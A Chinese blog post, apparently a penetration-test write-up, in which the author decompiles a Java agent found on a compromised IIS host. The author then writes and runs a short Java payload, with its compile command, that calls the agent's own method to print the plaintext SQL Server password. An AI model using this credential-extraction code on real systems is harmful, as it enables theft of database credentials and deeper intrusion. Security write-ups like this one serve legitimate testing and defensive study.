记一次逆向还原AES加密的DB-PASSWORD
背景
在某次已授权的渗透行动中,拿到了某机器的IIS权限。翻看进程的过程中发现了某Agent在以高权限运行,遂对其进行分析,发现配置文件中包含AES加密的SQL Server数据库密码,遂试图对其进行解密。
分析
此Agent应用由Java编写,将其Jar包逆向后可看到其AES密钥的生成过程,即:取各种目录、版本、系统信息拼接后进行SHA-256
加密,取其前16位作为密钥。
原计划是打算提取系统信息自行拼接并还原出密钥,但中间可能由于字符编码或各种其他的原因未能实现,遂作罢。
继续分析Java代码,发现代码中存在直接获取数据库密码的函数:
那么,只需要分析此方法的调用链,编写对应的Java应用并在应用目录下执行,理论上即可获得明文的数据库密码。
此方法所在的类为AgntConfig
,通过搜索找到此类在class CfgMngr
的loadConfig()
方法中生成了实例,并赋值给成员变量config
:
至此,调用链分析完成。
PWN
编写Payload,这部分不会的可以问ChatGPT:
import agnt.cfg.*;
public class pp {
public static void main(String[] args) {
CfgMngr cm = CfgMngr.getInstance();
cm.loadConfig();
String dbPassword = cm.getConfig().getDbPasswd();
System.out.println("Database Password: " + dbPassword);
}
}
编译,这里需要注意编译时的Java版本要和目标机器的Java版本兼容:
javac -cp ".;./lib/mcsm.jar" pp.java
应用的目录下有现成的bat批处理脚本,稍加修改执行我们的代码:
将pp.bat
和pp.class
上传到应用程序的目录下,执行pp.bat
,成功获得明文的数据库密码:
版权声明:本博客所有文章除特殊声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明出处 忘返的博客!